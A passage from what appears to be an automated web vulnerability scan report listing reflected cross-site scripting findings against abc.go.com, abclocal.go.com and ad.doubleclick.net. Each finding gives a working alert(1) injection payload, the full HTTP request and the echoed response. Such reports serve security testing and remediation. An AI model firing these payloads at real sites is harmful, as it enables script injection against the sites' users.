<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
m/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=c68cf--><script>alert(1)</script>95f6c7f6244&pl=&brandid=001 -->
...[SNIP]...

1.31. http://abc.go.com/watch [pl parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the pl request parameter is copied into an HTML comment. The payload ab41d--><script>alert(1)</script>4b90f52be3c was submitted in the pl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl=ab41d--><script>alert(1)</script>4b90f52be3c HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:42 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:42 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc04
X-Powered-By: ASP.NET
Cache-Expires: Wed, 23 Feb 2011 23:12:42 GMT
Content-Length: 16408
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl=ab41d--><script>alert(1)</script>4b90f52be3c&brandid=001 -->
...[SNIP]...

1.32. http://abc.go.com/watch [pl parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the pl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 38ed3"-alert(1)-"16bb995b9fc was submitted in the pl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl=38ed3"-alert(1)-"16bb995b9fc HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:41 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:41 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc03
Cache-Expires: Wed, 23 Feb 2011 23:12:40 GMT
Content-Length: 16360
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl=38ed3"-alert(1)-"16bb995b9fc&brandid=001","cookieName" : "abc_vp_breadcrumb" });
</script>
...[SNIP]...

1.33. http://abclocal.go.com/wls/story [section parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abclocal.go.com
Path:   /wls/story

Issue detail

The value of the section request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bc0d5'%3balert(1)//06cec9ccd55 was submitted in the section parameter. This input was echoed as bc0d5';alert(1)//06cec9ccd55 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /wls/story?section=news/politicsbc0d5'%3balert(1)//06cec9ccd55&id=7977364&rss=rss-espnChicago-wls-article-7977364 HTTP/1.1
Host: abclocal.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=120
Date: Sat, 26 Feb 2011 01:50:29 GMT
Content-Type: text/html; charset=iso-8859-1
Last-Modified: Sat, 26 Feb 2011 01:50:29 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc06
X-Powered-By: ASP.NET
Set-Cookie: SWID=A0C858BF-04E3-46C4-8DF4-ACF76E3CCD6D; path=/; expires=Sat, 26-Feb-2031 01:50:29 GMT; domain=.go.com;
Cache-Expires: Sat, 26 Feb 2011 01:53:29 GMT
Content-Length: 75131
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="e
...[SNIP]...
<a href="http://abclocal.go.com/wls/html5/video?id=7978923&pid=7977364&section=news/politicsbc0d5';alert(1)//06cec9ccd55">
...[SNIP]...

1.34. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [adurl parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348

Issue detail

The value of the adurl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eca1a"-alert(1)-"9f45c7913ea was submitted in the adurl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348;sz=300x250;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=eca1a"-alert(1)-"9f45c7913ea HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 8444
Cache-Control: no-cache
Pragma: no-cache
Date: Wed, 23 Feb 2011 21:38:14 GMT
Expires: Wed, 23 Feb 2011 21:38:14 GMT

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=eca1a"-alert(1)-"9f45c7913eahttp://www22.verizon.com/Residential/HighSpeedInternet/Plans/Plans.htm?withphone=N&CMP=BAC-MXT_D_P2_CS_Z_Q_N_Z330");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = ""
...[SNIP]...

1.35. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [ai parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348

Issue detail

The value of the ai request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload be53b"-alert(1)-"3b9fd4c6033 was submitted in the ai parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348;sz=300x250;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAEbe53b"-alert(1)-"3b9fd4c6033&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443;ord=4972427075776531456258795481640? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 23 Feb 2011 21:37:43 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 9041

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
d3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAEbe53b"-alert(1)-"3b9fd4c6033&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt
...[SNIP]...

1.36. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [client parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348

Issue detail

The value of the client request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5cb52"-alert(1)-"1e7e78e8863 was submitted in the client parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348;sz=300x250;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-48094607020160375cb52"-alert(1)-"1e7e78e8863&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443;ord=4972427075776531456258795481640? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 23 Feb 2011 21:38:12 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 9041

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
0vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-48094607020160375cb52"-alert(1)-"1e7e78e8863&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443http%3a%2f%2fwww22.verizon.com/resid
...[SNIP]...

1.37. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [num parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348

Issue detail

The value of the num request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e702a"-alert(1)-"d6cda420b15 was submitted in the num parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348;sz=300x250;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1e702a"-alert(1)-"d6cda420b15&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443;ord=4972427075776531456258795481640? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 23 Feb 2011 21:37:53 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 9041

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
b21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1e702a"-alert(1)-"d6cda420b15&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___35
...[SNIP]...

1.38. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [sig parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348

Issue detail

The value of the sig request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d87dc"-alert(1)-"7e5e79f9c31 was submitted in the sig parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348;sz=300x250;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWgd87dc"-alert(1)-"7e5e79f9c31&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443;ord=4972427075776531456258795481640? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 23 Feb 2011 21:38:02 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 9078

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
YaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWgd87dc"-alert(1)-"7e5e79f9c31&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443http%
...[SNIP]...

1.39. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [sz parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 99793"-alert(1)-"db897f05fa3 was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348;sz=300x250;click=http://adclick.g.doubleclick.net/aclk?sa=l99793"-alert(1)-"db897f05fa3&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443;ord=4972427075776531456258795481640? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 23 Feb 2011 21:37:33 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 9118

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
rl = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3ab7/f/283/%2a/t%3B236744794%3B2-0%3B0%3B56548503%3B4307-300/250%3B40625974/40643761/1%3B%3B%7Esscs%3D%3fhttp://adclick.g.doubleclick.net/aclk?sa=l99793"-alert(1)-"db897f05fa3&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3
...[SNIP]...

1.40. http://ad.doubleclick.net/adj/KOMO/HOME [sz parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adj/KOMO/HOME

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 27956'-alert(1)-'a0fcdcacbd9 was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/KOMO/HOME;sz=27956'-alert(1)-'a0fcdcacbd9 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.komonews.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 50370
Cache-Control: no-cache
Pragma: no-cache
Date: Wed, 23 Feb 2011 21:38:11 GMT
Expires: Wed, 23 Feb 2011 21:38:11 GMT

document.write('');

